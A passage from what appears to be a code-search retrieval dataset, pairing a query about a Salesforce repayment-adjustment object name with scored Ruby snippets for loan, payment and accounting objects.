{
"docid": "45b9e5d1da1562a27f15ce5cb9b634ca",
"score": "0.46882463",
"text": "def ext; end",
"title": ""
},
{
"docid": "45b9e5d1da1562a27f15ce5cb9b634ca",
"score": "0.46882463",
"text": "def ext; end",
"title": ""
},
{
"docid": "bf12558134d51a34e62da7291fe95772",
"score": "0.4679865",
"text": "def getc() end",
"title": ""
},
{
"docid": "bf12558134d51a34e62da7291fe95772",
"score": "0.4679865",
"text": "def getc() end",
"title": ""
},
{
"docid": "bf12558134d51a34e62da7291fe95772",
"score": "0.4679865",
"text": "def getc() end",
"title": ""
},
{
"docid": "83341ff0d64168d9ba0614958fec4414",
"score": "0.46575773",
"text": "def used_names; end",
"title": ""
},
{
"docid": "05f30dbaa95cab56c89348edb221f3ed",
"score": "0.4650041",
"text": "def ext=(_arg0); end",
"title": ""
},
{
"docid": "05f30dbaa95cab56c89348edb221f3ed",
"score": "0.4650041",
"text": "def ext=(_arg0); end",
"title": ""
},
{
"docid": "05f30dbaa95cab56c89348edb221f3ed",
"score": "0.4650041",
"text": "def ext=(_arg0); end",
"title": ""
},
{
"docid": "7ff2011fa3dc45585a9272310eafb765",
"score": "0.464564",
"text": "def isolated; end",
"title": ""
},
{
"docid": "7ff2011fa3dc45585a9272310eafb765",
"score": "0.464564",
"text": "def isolated; end",
"title": ""
},
{
"docid": "3fe16723cfe073a33d3a2398f331e395",
"score": "0.46400315",
"text": "def transformations; end",
"title": ""
},
{
"docid": "48412710c08492591f41ec0553b303ce",
"score": "0.4632599",
"text": "def starting_position; end",
"title": ""
},
{
"docid": "14ec9b02656739171923bd18072bb3a9",
"score": "0.46208027",
"text": "def getlocal() end",
"title": ""
},
{
"docid": "0225a9f23a0fa436bcdab339adc872dd",
"score": "0.46140218",
"text": "def same; end",
"title": ""
},
{
"docid": "c76dde506aab78148f8a88433088a5b9",
"score": "0.46041",
"text": "def by_magic(io); end",
"title": ""
},
{
"docid": "5930761249ad935482b7956d18120e62",
"score": "0.4603241",
"text": "def lookups; end",
"title": ""
},
{
"docid": "d411afce0d5f3171fbd8b4a4e4429211",
"score": "0.45997483",
"text": "def lsi=(_arg0); end",
"title": ""
},
{
"docid": "d411afce0d5f3171fbd8b4a4e4429211",
"score": "0.45997483",
"text": "def lsi=(_arg0); end",
"title": ""
},
{
"docid": "731cb8d02e6ff7e972f64dafb43ece6d",
"score": "0.45988894",
"text": "def expanded_name; end",
"title": ""
},
{
"docid": "fcd052a976487c512724491ad9c4fd30",
"score": "0.4595629",
"text": "def dir=(_); end",
"title": ""
},
{
"docid": "a7738fc66213d5de1f88b2de13a0479d",
"score": "0.45952752",
"text": "def entry_order; end",
"title": ""
},
{
"docid": "8742865b78eb755e40bb1bff22199433",
"score": "0.45924798",
"text": "def internship_passed; end",
"title": ""
},
{
"docid": "8f654fd36db7c438efefa339027453e3",
"score": "0.45923018",
"text": "def entry_set; end",
"title": ""
},
{
"docid": "18b70bef0b7cb44fc22c66bf7965c231",
"score": "0.45914912",
"text": "def first; end",
"title": ""
},
{
"docid": "18b70bef0b7cb44fc22c66bf7965c231",
"score": "0.45914912",
"text": "def first; end",
"title": ""
},
{
"docid": "2db49a06e81dc6f129cd052fb30f468d",
"score": "0.45912597",
"text": "def intern() end",
"title": ""
},
{
"docid": "559ba501ccf4d1913f97315571da5302",
"score": "0.45892644",
"text": "def current_entry=(_arg0); end",
"title": ""
}
] |
1a98c35d83c57d89cebc01fda04a46eb | CRM OBJECT_ = "Repayment_Transaction_Adjustment__c" | [
{
"docid": "9330563ba0539fb061ae62153f3806eb",
"score": "0.8390354",
"text": "def getRepaymentTransactionAdjustmentObjName\r\n\t\t\treturn \"Repayment_Transaction_Adjustment__c\"\r\n\t\tend",
"title": ""
}
] | [
{
"docid": "b945fd303298a724ed9e70a02e680b23",
"score": "0.7304082",
"text": "def getDisbursalAdjustmentObjName\r\n\t\t\treturn \"Disbursal_Adjustment__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "ccca0fe891fbb38986ec1ba5e7b6d8be",
"score": "0.6623388",
"text": "def getLoanPaymentTransactionObjName\r\n\t\t return \"loan_payment_transaction__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "e5eb84a3c298ed94151fd8c5e234c0a4",
"score": "0.65108263",
"text": "def getSavingsPaymentTransactionObjName\r\n\t\t\treturn \"Savings_Payment_Transaction__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "7554f19eca3549400c776e2cb8237b9a",
"score": "0.6390547",
"text": "def getRecoveryOrderObjName\r\n\t\t\treturn \"Recovery_Order__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "62f27934ab256353d4f7be3dcb3106a5",
"score": "0.6287952",
"text": "def getTransactionEntryObjName\r\n\t\t return \"transaction_entry__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "9fc2df6665d58b23133937c484e92106",
"score": "0.62671816",
"text": "def getloanDisbursalTransactionObjName\r\n\t\t return \"loan_disbursal_transaction__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "9085d0cf1c39d97264cba4ef8a070525",
"score": "0.62347126",
"text": "def getAccountingPeriodObjName\r\n\t\t\treturn \"Accounting_Period__c\" \r\n\t\tend",
"title": ""
},
{
"docid": "595fcaa6a5bf4792e25996ec70744b64",
"score": "0.62161326",
"text": "def getTrasactionObjName\r\n\t\t return \"transaction__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "190fc31a660e87a56faf594fd735501c",
"score": "0.60974574",
"text": "def getSavingsWithdrawalTransactionObjName\r\n\t\t return \"savings_withdrawal_transaction__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "5cb2b98c65da3b49d0747019abc37d06",
"score": "0.60938895",
"text": "def set_adjustment\n @account = Adjustment.find(params[:id])\n end",
"title": ""
},
{
"docid": "77461ff8eba91ee38961459a73c42d68",
"score": "0.605781",
"text": "def getRepaymentScheduleObjName\r\n\t\t\treturn \"Repayment_Schedule__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "af450773fc71cbd656b4d09c365a146b",
"score": "0.599635",
"text": "def getLoanProductAccountingSetupObjName\r\n\t\t return \"loan_product_accounting_setup__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "9f5a25df24521716f43ccd1b186c43b3",
"score": "0.59497184",
"text": "def getInterestOnOverduePaymentObjName\r\n\t\t\treturn \"Interest_On_Overdue_Payment__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "7818ed6c7f044af893a080b433dee9f7",
"score": "0.58940315",
"text": "def set_adjustment\n @adjustment = Adjustment.find(params[:id])\n end",
"title": ""
},
{
"docid": "7818ed6c7f044af893a080b433dee9f7",
"score": "0.58940315",
"text": "def set_adjustment\n @adjustment = Adjustment.find(params[:id])\n end",
"title": ""
},
{
"docid": "7818ed6c7f044af893a080b433dee9f7",
"score": "0.58940315",
"text": "def set_adjustment\n @adjustment = Adjustment.find(params[:id])\n end",
"title": ""
},
{
"docid": "7ebd699163316aeb7195d13334a99ef9",
"score": "0.58286494",
"text": "def getAccountingRuleLineObjName\r\n\t\t\treturn \"Accounting_Rule_Line__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "4e55aa454e69a86c366fdcc0a8ee160d",
"score": "0.57841426",
"text": "def set_recurring_adjustment\n @recurring_adjustment = RecurringAdjustment.find(params[:id])\n end",
"title": ""
},
{
"docid": "04518ce380a54ce78e3f7b881b079151",
"score": "0.5774868",
"text": "def claim_adjustment\n end",
"title": ""
},
{
"docid": "9baf8837aa004c52efd4fa9d247be84a",
"score": "0.5770021",
"text": "def tran_obj\n transaction_object\n end",
"title": ""
},
{
"docid": "b86b3defd0a2072248ed311a11b61e3c",
"score": "0.5748577",
"text": "def resourceType\n 'PaymentReconciliation'\n end",
"title": ""
},
{
"docid": "3f4b549274503965309b325fc8551aef",
"score": "0.5734685",
"text": "def adjustment_type\n data[:adjustment_type]\n end",
"title": ""
},
{
"docid": "b268f6a59059364675ae8d584bd201be",
"score": "0.5722214",
"text": "def getInsurancePRoductObjName\r\n\t\t\treturn \"Insurance_PRoduct__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "bdfa464134a321a4f4fb219caf09f7a1",
"score": "0.57213867",
"text": "def getLoanWriteOffTransactionObjName\r\n\t\t return \"loan_write_off_transaction__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "c521046d8c11e9a83db3740eee904cc1",
"score": "0.57211053",
"text": "def resourceType\n 'PaymentReconciliation'\n end",
"title": ""
},
{
"docid": "aaa5ac77f4399a2704bff23807bf89ef",
"score": "0.5667821",
"text": "def getLoanAccountObjName\r\n\t\t return \"loan_account__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "be77dce56215b94727a51f0f208d214a",
"score": "0.56336564",
"text": "def amount\n object.next_billing_period_amount\n end",
"title": ""
},
{
"docid": "e2e45f4c103324376144bbdf75352552",
"score": "0.5627644",
"text": "def getSalesIncomeEstimateObjName\r\n\t\t\treturn \"Sales_Income_Estimate__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "8e89c1611526b6add8873100ab5438b2",
"score": "0.5612946",
"text": "def getSavingsProductAccountingSetupObjName\r\n\t\t return \"savings_product_accounting_setup__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "2d30b92dd81088804dd2bff0dbcd3b4a",
"score": "0.561241",
"text": "def adjustment_params\n params.require(:adjustment).permit(:settled_amount, :balance_amount, :credit_note_num, :credit_date, :remark, :adjust_quantity, :claim_product_type, :claim_product_id)\n end",
"title": ""
},
{
"docid": "18455cb6ad25f9fbb989a91010b3f0a5",
"score": "0.5600684",
"text": "def getFeeObjName\r\n return \"fee__c\"\r\n end",
"title": ""
},
{
"docid": "ff2b611bc5f9808f07a1ee066dc8f082",
"score": "0.5581367",
"text": "def getPaymentModeObjName\r\n\t\t\treturn \"Payment_Mode__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "ce5a6b7957ac20e3f864e2cee4ca1a79",
"score": "0.5563753",
"text": "def getTransactionSourceObjName\r\n\t\t return \"transaction_source__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "9d1fc63a4882e05d8bb172927f06ca7f",
"score": "0.55526036",
"text": "def adjustment_params\n params.require(:adjustment).permit(:payment_occurrence, :loan_id, :user_id, :pmt_adjustment, :beg_pay_adj, :end_pay_adj, :adjustment_details)\n end",
"title": ""
},
{
"docid": "50f79058b693d2e21bd6451334399387",
"score": "0.5539512",
"text": "def getOverdueFeeObjName\r\n\t\t\treturn \"Overdue_Fee__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "4daed37de91cd35224a84024f25b95aa",
"score": "0.55239064",
"text": "def billing_period\n @vm['//BILLING_PERIOD']\n end",
"title": ""
},
{
"docid": "5c6c0ca1bdfd32a8b1ae571849881cff",
"score": "0.551729",
"text": "def payment_intent; end",
"title": ""
},
{
"docid": "52fcc8e303de3fcd44e74c3891238832",
"score": "0.5477791",
"text": "def positive_adjustment_commission\n additional_charges = object.additional_charges.nil? ? 0 : object.additional_charges\n comm = ((additional_charges + ((object.amount_of_guests - object.minimum_guarantee) * object.base_price)) * COMMISSION_RATE) / BREAKAGE_RATE\n h.number_to_currency comm.round(2)\n end",
"title": ""
},
{
"docid": "416460a3e1ac2316a95267aae9a2fe09",
"score": "0.54593796",
"text": "def getDueFeeObjName\r\n\t\t\treturn \"Due_Fee__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "2e1bea4712c85ce2a83683beda93bca5",
"score": "0.54506",
"text": "def adjustment_type\n data.adjustment_type\n end",
"title": ""
},
{
"docid": "1a0d18b1ded9a78071ba43e69305935e",
"score": "0.5427251",
"text": "def getPaidFeeObjName\r\n\t\t\treturn \"Paid_Fee__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "21ac727737375a0254d016f30cb54278",
"score": "0.5420103",
"text": "def invoice\n object.invoice\n end",
"title": ""
},
{
"docid": "5adf835663cd095ce1bb6f15347141e3",
"score": "0.5414002",
"text": "def getDailyLoanAccrualObjName\r\n\t\t\treturn \"Daily_Loan_Accrual__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "c8ac0ada14944c40e5215ed807982fcf",
"score": "0.54070485",
"text": "def getCurrencyObjName\r\n\t\t\treturn \"Currency__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "9abf653f9516c1cc244126c187dfecb5",
"score": "0.5393726",
"text": "def claim_adjustment\n unless eob.amount('claim_interest').blank? || eob.amount('claim_interest').to_f.zero?\n claim_adjustment_elements = []\n claim_adjustment_elements << 'CAS'\n claim_adjustment_elements << 'OA'\n claim_adjustment_elements << '85'\n claim_adjustment_elements << eob.claim_interest\n claim_adjustment_elements.join(@element_seperator)\n end\n end",
"title": ""
},
{
"docid": "844eb3dd80d65dd33a6f991af10eaa4d",
"score": "0.538553",
"text": "def new\n get_data\n @adjustment_detail = @adjustment.details.new\n @adjustment_detail.quantity_print = \"\"\n end",
"title": ""
},
{
"docid": "82a139236a0f7b3e510307185146e1b2",
"score": "0.5376535",
"text": "def set_paycheck_adjustment\n @paycheck_adjustment = PaycheckAdjustment.find(params[:id])\n end",
"title": ""
},
{
"docid": "5a57d167c4965506ffff96724de9082a",
"score": "0.5372746",
"text": "def crm\n customer_management\n end",
"title": ""
},
{
"docid": "0090e68a579806e36eb3d249ab436160",
"score": "0.53722805",
"text": "def set_rad_repayment\n @rad_repayment = Rad::Repayment.find(params[:id])\n end",
"title": ""
},
{
"docid": "b92039f5b5cc22a4fc08b815fa2ba126",
"score": "0.5358381",
"text": "def unit_cost_adjustment\n\tend",
"title": ""
},
{
"docid": "50bf459ddd118e1fb83f397abb2fd820",
"score": "0.53523207",
"text": "def payment_source_class\n AlipayTransaction\n end",
"title": ""
},
{
"docid": "69e90b98a3893ac42158e05ab455d605",
"score": "0.5352223",
"text": "def pledge_receivables \n end",
"title": ""
},
{
"docid": "38174971e589ff2c9145a388dc14657d",
"score": "0.53516394",
"text": "def getFeeSetObjName\r\n\t\t return \"fee_set__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "c1198614775fe5d0f2a8f0c1bf47c419",
"score": "0.53486365",
"text": "def getFeeObjName\r\n\t\t return \"fee__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "fc8f9286f4ced8c51832a4640fc2fffb",
"score": "0.5346625",
"text": "def getAccountingSegmentSetupObjName\r\n\t\t\treturn \"Accounting_Segment_Setup__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "f69b37a8c145309e25fe068dfaaa1a42",
"score": "0.53459954",
"text": "def set_service_line_adjustments(service_payment_eob)\r\n service_payment_eob.service_no_covered = @adjustment_amounts[:noncovered]\r\n service_payment_eob.denied = @adjustment_amounts[:denied]\r\n service_payment_eob.service_discount = @adjustment_amounts[:discount]\r\n service_payment_eob.contractual_amount = @adjustment_amounts[:contractual]\r\n service_payment_eob.service_co_insurance = @adjustment_amounts[:coinsurance]\r\n service_payment_eob.service_deductible = @adjustment_amounts[:deductible]\r\n service_payment_eob.service_co_pay = @adjustment_amounts[:copay]\r\n service_payment_eob.primary_payment = @adjustment_amounts[:primary_payment]\r\n service_payment_eob.service_prepaid = @adjustment_amounts[:prepaid]\r\n service_payment_eob.patient_responsibility = @adjustment_amounts[:patient_responsibility]\r\n service_payment_eob.miscellaneous_one_adjustment_amount = @adjustment_amounts[:miscellaneous_one]\r\n service_payment_eob.miscellaneous_two_adjustment_amount = @adjustment_amounts[:miscellaneous_two]\r\n\r\n if !service_payment_eob.service_no_covered.blank?\r\n @total_non_covered = @total_non_covered.to_f + service_payment_eob.service_no_covered.to_f\r\n end\r\n if !service_payment_eob.denied.blank?\r\n @total_denied = @total_denied.to_f + service_payment_eob.denied.to_f\r\n end\r\n if !service_payment_eob.service_discount.blank?\r\n @total_discount = @total_discount.to_f + service_payment_eob.service_discount.to_f\r\n end\r\n if !service_payment_eob.service_co_insurance.blank?\r\n @total_coinsurance = @total_coinsurance.to_f + service_payment_eob.service_co_insurance.to_f\r\n end\r\n if !service_payment_eob.service_deductible.blank?\r\n @total_deductible = @total_deductible.to_f + service_payment_eob.service_deductible.to_f\r\n end\r\n if !service_payment_eob.service_co_pay.blank?\r\n @total_copay = @total_copay.to_f + service_payment_eob.service_co_pay.to_f\r\n end\r\n if !service_payment_eob.primary_payment.blank?\r\n @total_primary_payment = @total_primary_payment.to_f + service_payment_eob.primary_payment.to_f\r\n end\r\n if !service_payment_eob.service_prepaid.blank?\r\n @total_prepaid = @total_prepaid.to_f + service_payment_eob.service_prepaid.to_f\r\n end\r\n\r\n if !service_payment_eob.patient_responsibility.blank?\r\n @total_patient_responsibility = @total_patient_responsibility.to_f + service_payment_eob.patient_responsibility.to_f\r\n end\r\n\r\n if !service_payment_eob.contractual_amount.blank?\r\n @total_contractual = @total_contractual.to_f + service_payment_eob.contractual_amount.to_f\r\n end\r\n\r\n if !service_payment_eob.miscellaneous_one_adjustment_amount.blank?\r\n @total_miscellaneous_one = @total_miscellaneous_one.to_f + service_payment_eob.miscellaneous_one_adjustment_amount.to_f\r\n end\r\n\r\n if !service_payment_eob.miscellaneous_two_adjustment_amount.blank?\r\n @total_miscellaneous_two = @total_miscellaneous_two.to_f + service_payment_eob.miscellaneous_two_adjustment_amount.to_f\r\n end\r\n\r\n @amount_value_for_adjustment_reason = { :coinsurance => service_payment_eob.service_co_insurance,\r\n :copay => service_payment_eob.service_co_pay,\r\n :contractual => service_payment_eob.contractual_amount,\r\n :deductible => service_payment_eob.service_deductible,\r\n :denied => service_payment_eob.denied,\r\n :discount => service_payment_eob.service_discount,\r\n :noncovered => service_payment_eob.service_no_covered,\r\n :primary_payment => service_payment_eob.primary_payment,\r\n :prepaid => service_payment_eob.service_prepaid,\r\n :patient_responsibility => service_payment_eob.patient_responsibility,\r\n :miscellaneous_one => service_payment_eob.miscellaneous_one_adjustment_amount,\r\n :miscellaneous_two => service_payment_eob.miscellaneous_two_adjustment_amount}\r\n @entity = service_payment_eob\r\n end",
"title": ""
},
{
"docid": "821c65bb43a37cae92b58a3225021f01",
"score": "0.53432083",
"text": "def set_service_line_adjustment_amounts(serial_number)\r\n non_covered = params[:lineinformation][\"non_covered\" + serial_number.to_s]\r\n denied = params[:lineinformation][\"denied\" + serial_number.to_s]\r\n discount = params[:lineinformation][\"discount\" + serial_number.to_s]\r\n contractual_amount = params[:lineinformation][\"contractual\" + serial_number.to_s]\r\n co_insurance = params[:lineinformation][\"co_insurance_id\" + serial_number.to_s]\r\n deductible = params[:lineinformation][\"deductable\" + serial_number.to_s]\r\n co_pay = params[:lineinformation][\"copay\" + serial_number.to_s]\r\n primary_payment = params[:lineinformation][\"primary_pay_payment\" + serial_number.to_s]\r\n prepaid = params[:lineinformation][\"prepaid\" + serial_number.to_s]\r\n patient_responsibility = params[:lineinformation][\"patient_responsibility\" + serial_number.to_s]\r\n miscellaneous_one = params[:lineinformation][\"miscellaneous_one\" + serial_number.to_s]\r\n miscellaneous_two = params[:lineinformation][\"miscellaneous_two\" + serial_number.to_s]\r\n\r\n @adjustment_amounts = {\r\n :noncovered => format_amount_ui_param(non_covered),\r\n :denied => format_amount_ui_param(denied),\r\n :discount => format_amount_ui_param(discount),\r\n :contractual => format_amount_ui_param(contractual_amount),\r\n :coinsurance => format_amount_ui_param(co_insurance),\r\n :deductible => format_amount_ui_param(deductible),\r\n :copay => format_amount_ui_param(co_pay),\r\n :primary_payment => format_amount_ui_param(primary_payment),\r\n :prepaid => format_amount_ui_param(prepaid),\r\n :patient_responsibility => format_amount_ui_param(patient_responsibility),\r\n :miscellaneous_one => format_amount_ui_param(miscellaneous_one),\r\n :miscellaneous_two => format_amount_ui_param(miscellaneous_two)\r\n }\r\n\r\n end",
"title": ""
},
{
"docid": "4101e6b3715af90304992976994bd1d1",
"score": "0.53427964",
"text": "def create\n @account_adjustment = AccountAdjustment.new(params[:account_adjustment])\n\n respond_to do |format|\n if @account_adjustment.save\n format.html { redirect_to(@account_adjustment, :notice => 'Account adjustment was successfully created.') }\n format.xml { render :xml => @account_adjustment, :status => :created, :location => @account_adjustment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @account_adjustment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ddffd0413232828cbfd7076445d01f5f",
"score": "0.53354794",
"text": "def billing_actions(org); end",
"title": ""
},
{
"docid": "0eb6cabbb2ecb1a1ac45a41c87a84fbd",
"score": "0.53264046",
"text": "def getLoanProductObjName\r\n\t\t return \"loan_product__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "dc63f4c7ddcf3dc3dcfb8f943f0058c6",
"score": "0.5322849",
"text": "def create\n get_data\n @adjustment_detail = @adjustment.details.create(params[:adjustment_detail])\n get_data\n end",
"title": ""
},
{
"docid": "e172397af3d634842f6ffbcbf525d880",
"score": "0.53168404",
"text": "def vendor_transaction(from_account_id,transaction_object,amount,vendor_particular_id,string_account_type)\n credited_amount=0\n debited_amount=0\n transaction_object.each do |particular|\n if particular.try(:amount_transfer_type)==\"credited\"\n credited_amount+=particular.try(:amount)\n elsif particular.try(:amount_transfer_type)==\"debited\"\n debited_amount+=particular.try(:amount)\n end\n end\n params_amount=amount.to_i\n temp_amount=0\n temp_amount=credited_amount-debited_amount\n if temp_amount<0\n temp_amount=temp_amount*-1\n end\n if temp_amount>params_amount\n amount_transfer_type=\"credited\"\n amount=temp_amount-params_amount\n elsif temp_amount<params_amount\n amount_transfer_type=\"debited\"\n amount=params_amount-temp_amount\n end\n to_account_id=\"\"\n for_module=\"vendor\"\n particular_id=vendor_particular_id\n transaction_type=\"payable\"\n if string_account_type==\"MgAccountTransaction\"\n account_transaction=MgAccountTransaction.add_transaction(from_account_id,to_account_id,amount.abs,for_module,particular_id,transaction_type,amount_transfer_type,session[:current_user_school_id],session[:user_id],session[:user_id])\n account_transaction.save\n elsif string_account_type==\"MgCentralAccountTransaction\"\n central_account_transaction=MgCentralAccountTransaction.send_transaction(from_account_id,to_account_id,amount.abs,for_module,particular_id,transaction_type,amount_transfer_type,session[:current_user_school_id],session[:user_id],session[:user_id])\n central_account_transaction.save\n end\n end",
"title": ""
},
{
"docid": "d4dffda183e4b8a8e3a513e1871cf67a",
"score": "0.5314006",
"text": "def customize_ap\n current_ap = AccountPayable.where(\"supplier_id=#{supplier_id} AND due_date>'#{Time.now.strftime(\"%Y-%m-%d\")}'\").order(\"id DESC\").limit(1).first\n current_ap.update_attributes(retur_amount: current_ap.retur_amount.to_f + total.to_f, outstanding_amount: current_ap.outstanding_amount.to_f-total.to_f)\n end",
"title": ""
},
{
"docid": "1804d9214aedb24c63ae454b6084f252",
"score": "0.53117216",
"text": "def getAccountingRuleHeaderObjName\r\n\t\t\treturn \"Accounting_Rule_Header__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "314204102589d379cb0baa5af8db4d28",
"score": "0.53093463",
"text": "def recurring_adjustment_params\n params.require(:recurring_adjustment).permit(:adj_type, :adj_amount, :description, :employee_id)\n end",
"title": ""
},
{
"docid": "b82ab4fe58747fc248cfad3ed7376ba2",
"score": "0.5288989",
"text": "def transaction_detail\n { customer_transaction_id: \"Trackerific\" }\n end",
"title": ""
},
{
"docid": "b6e7918603beedf13e2292013fd41857",
"score": "0.52731824",
"text": "def getLoanPaymentCollectionObjName\r\n\t\t return \"loan_payment_collection__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "08b600537e43055c9e538c8f3b1c988e",
"score": "0.52702534",
"text": "def new\n @account = Account.find(params[:account_id])\n @adjustment = @account.adjustments.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @adjustment }\n end\n end",
"title": ""
},
{
"docid": "c21060e7355ef702f8e8fbd81f1e69df",
"score": "0.5258554",
"text": "def payment_source_class\n CieloRegularPayment\n end",
"title": ""
},
{
"docid": "d74b2353b1cfa8eda4653276b5833a11",
"score": "0.5252253",
"text": "def investment\n @amount\n end",
"title": ""
},
{
"docid": "514371306e4858343cdd3ea31571d68a",
"score": "0.5244753",
"text": "def reason_for_payment\n object.product[0..26]\n end",
"title": ""
},
{
"docid": "2d81690b8d45c28fb8437afd27806ea6",
"score": "0.5235019",
"text": "def update\n @account_adjustment = AccountAdjustment.find(params[:id])\n\n respond_to do |format|\n if @account_adjustment.update_attributes(params[:account_adjustment])\n format.html { redirect_to(@account_adjustment, :notice => 'Account adjustment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account_adjustment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "93a543053cc7c440b5a80eedd34e0290",
"score": "0.52301234",
"text": "def repayment_claim_amount\n wizard_step(STEPS) { { setup_step: :repayment_claim_amount_setup_step, cache_index: LbttController } }\n end",
"title": ""
},
{
"docid": "39b4da4fa402bfbba8c9bc5b20be67ea",
"score": "0.522292",
"text": "def show\n @adjustment = current_organization.adjustments.find(params[:id])\n end",
"title": ""
},
{
"docid": "0481d695fc30fad0f296774b2ca1996e",
"score": "0.5215683",
"text": "def create\n @account = Account.find(params[:account_id])\n @adjustment = @account.adjustments.new(params[:adjustment])\n\n respond_to do |format|\n if @adjustment.save\n flash[:notice] = 'Adjustment was successfully created.'\n format.html { redirect_to account_adjustments_url(:page => params[:page], :search_string => params[:search_string]) }\n format.xml { render :xml => @adjustment, :status => :created, :location => @adjustment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @adjustment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "08e23739d4ead7e779b9fe26557b0394",
"score": "0.52108276",
"text": "def account_transaction(amount_created,amount_debited,amount_data,string_object,particular) \n sum_of_amount_credited=0\n sum_of_amount_debited=0\n if amount_created.present?\n for i in 0...amount_created.size\n sum_of_amount_credited+=amount_created[i].to_i\n end\n end\n if amount_debited.present?\n for i in 0...amount_debited.size\n sum_of_amount_debited+=amount_debited[i].to_i\n end\n end\n updated_amount=sum_of_amount_credited - sum_of_amount_debited\n amount=updated_amount.to_i - amount_data.to_i\n if amount!=0\n if amount>0\n amount_transfer_type=\"debited\"\n else\n amount_transfer_type=\"credited\"\n end\n from_account_id=\"\"\n for_module=\"sales\"\n particular_id=particular\n transaction_type=\"receivable\"\n if string_object==\"MgAccountTransaction\"\n to_account_id=params[:library_purchase_details][:account]\n account_transaction=MgAccountTransaction.add_transaction(from_account_id,to_account_id,amount.abs,for_module,particular_id,transaction_type,amount_transfer_type,session[:current_user_school_id],session[:user_id],session[:user_id])\n account_transaction.save\n elsif string_object==\"MgCentralAccountTransaction\"\n to_account_id=\"\"\n central_account_transaction=MgCentralAccountTransaction.send_transaction(from_account_id,to_account_id,amount.abs,for_module,particular_id,transaction_type,amount_transfer_type,session[:current_user_school_id],session[:user_id],session[:user_id])\n central_account_transaction.save\n end \n end\n end",
"title": ""
},
{
"docid": "1e1137a552b23cbf517f0997557aeaa4",
"score": "0.5209403",
"text": "def activity_object\n self.contract\n end",
"title": ""
},
{
"docid": "83433c2b36b67e930cd1b9f48eed02e0",
"score": "0.5198401",
"text": "def set_accounting_transaction\n @accounting_transaction = AccountingTransaction.find(params[:id])\n end",
"title": ""
},
{
"docid": "47a88d36d12186216d314f55e848e5f7",
"score": "0.5191445",
"text": "def update_contract_service_values\n self.sub_total = contract_sub_totals\n self.tax_total = contract_tax_totals\n self.total = contract_price_totals \n #self.rep = :user_first_name\n end",
"title": ""
},
{
"docid": "d6dbef1a1b9f06779d1aefbdd3585731",
"score": "0.51888317",
"text": "def create\n @adjustment = Adjustment.new(params[:adjustment])\n\n respond_to do |format|\n if @adjustment.save\n format.html { redirect_to @adjustment, notice: 'Adjustment was successfully created.' }\n format.json { render json: @adjustment, status: :created, location: @adjustment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @adjustment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d6dbef1a1b9f06779d1aefbdd3585731",
"score": "0.51888317",
"text": "def create\n @adjustment = Adjustment.new(params[:adjustment])\n\n respond_to do |format|\n if @adjustment.save\n format.html { redirect_to @adjustment, notice: 'Adjustment was successfully created.' }\n format.json { render json: @adjustment, status: :created, location: @adjustment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @adjustment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "83fa6e25263c002d6d5cd0268abe7dbb",
"score": "0.5179755",
"text": "def adjustments_mod_xml(record, params)\n final_adjustments = []\n use_tax_line_items = !params['quickbooks_use_tax_line_items'].nil? &&\n params['quickbooks_use_tax_line_items'] == \"1\" &&\n !record['tax_line_items'].nil? &&\n !record['tax_line_items'].empty?\n\n adjustments(record).each do |adjustment|\n if !use_tax_line_items ||\n !QBWC::Request::Adjustments.is_adjustment_tax?(adjustment['name'])\n final_adjustments << purchaseorder_line_mod_from_adjustment(adjustment, params)\n end\n end\n\n if use_tax_line_items\n record['tax_line_items'].each do |tax_line_item|\n final_adjustments << purchaseorder_line_mod_from_tax_line_item(tax_line_item, params)\n end\n end\n\n final_adjustments.join('')\n end",
"title": ""
},
{
"docid": "8f925e5424d520866944297e10e6a033",
"score": "0.5174724",
"text": "def getMfAccountObjName\r\n\t\t return \"mf_account__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "b5d03dfcd1f3681979ddb0430271e1ec",
"score": "0.5172097",
"text": "def current_manual_adjustment_transactions\n transactions.where('is_manual_adjustment=true and transaction_date > ?', closing_date)\n end",
"title": ""
},
{
"docid": "630a7b8ece775fd2a97b55c68285780b",
"score": "0.515805",
"text": "def credit_entry\n transaction.credit_entry\n end",
"title": ""
},
{
"docid": "be41b1b0f7a3c4f52e3e0f4174c1564f",
"score": "0.51559",
"text": "def to_invoice_class_name\n 'PurchaseInvoice'\n end",
"title": ""
},
{
